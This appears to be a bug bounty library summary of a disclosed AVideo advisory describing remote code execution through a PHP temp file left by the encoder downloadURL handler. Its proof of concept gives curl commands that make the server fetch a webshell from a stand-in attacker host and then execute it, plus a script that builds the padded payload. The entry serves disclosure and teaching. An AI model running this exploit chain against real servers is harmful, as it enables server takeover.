# AVideo: Remote Code Execution via PHP Temp File in Encoder downloadURL

AVideo's encoder downloadURL saves remote files with original .php extension to web-accessible temp dir; invalid resolution triggers die() before cleanup, leaving executable webshell.

- Payout: Research
- Severity: high
- Program: AVideo
- Found by: offset
- Disclosed: 2026-03-25
- CVE: CVE-2026-33717
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-8wf4-c4x3-h952
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-8wf4-c4x3-h952
- Tags: area:web domain:web impact:integrity impact:rce kind:research platform:ghsa sev:high tech:php technique:source-review vuln:business-logic vuln:file-upload vuln:rce

**Target:** objects/aVideoEncoder.json.php downloadURL handler and videos/cache/tmpFile/ directory
**Root cause:** downloadVideoFromDownloadURL() saves remote content using basename($downloadURL), preserving dangerous extensions like .php, and resolution validation calls forbiddenPage()/die() after the write but before the move/cleanup step, leaving the file in a web-accessible directory lacking PHP execution restrictions.
**Steps:**
1. Create a PHP webshell padded to >=20KB to pass minimum size check and host at `https://attacker.example.com/shell.php`
2. POST to `/objects/aVideoEncoder.json.php` with `user`, `pass`, `format=mp4`, `downloadURL=https://attacker.example.com/shell.php`, `resolution=9999`
3. Server downloads file to `videos/cache/tmpFile/shell.php`, then forbiddenPage() dies on invalid resolution before cleanup
4. GET `https://target.example.com/videos/cache/tmpFile/shell.php` to execute the payload
**How found:** Code review of the encoder endpoint's error-handling order: noticed the temp filename derives from the URL basename rather than the validated format, and that resolution validation occurs after the file write but before the move/cleanup, with no .htaccess blocking plain .php in the temp directory.
**Exploitation:** Authenticated user with canUpload permission sends a single POST with an attacker-hosted PHP file URL and invalid resolution; the file persists in the web root and is executed by requesting its path, yielding arbitrary command execution.
**Insight:** When a download handler validates an extension only for the final destination, check what filename the temp file uses — and whether any early die()/error path between write and move leaves the temp file web-accessible. Also check .htaccess FilesMatch regexes for gaps like plain .php when they target php[0-9]+ variants.

## Proof of concept (copied exactly from the original report)

**curl POST triggering download with invalid resolution**

```
curl -X POST 'https://target.example.com/objects/aVideoEncoder.json.php' \
  -d 'user=uploader_username' \
  -d 'pass=uploader_password' \
  -d 'format=mp4' \
  -d 'downloadURL=https://attacker.example.com/shell.php' \
  -d 'resolution=9999'
```

**curl accessing persisted PHP webshell**

```
curl 'https://target.example.com/videos/cache/tmpFile/shell.php'

Expected output: `RCE:Linux target 5.15.0-...` — confirming arbitrary PHP code execution on the server.
```

**Python script creating padded PHP webshell**

```
python3 -c "
payload = b'<?php echo \"RCE:\".php_uname(); ?>'
padding = b'\n' + b'/' * (20001 - len(payload))
open('shell.php', 'wb').write(payload + padding)
"
```

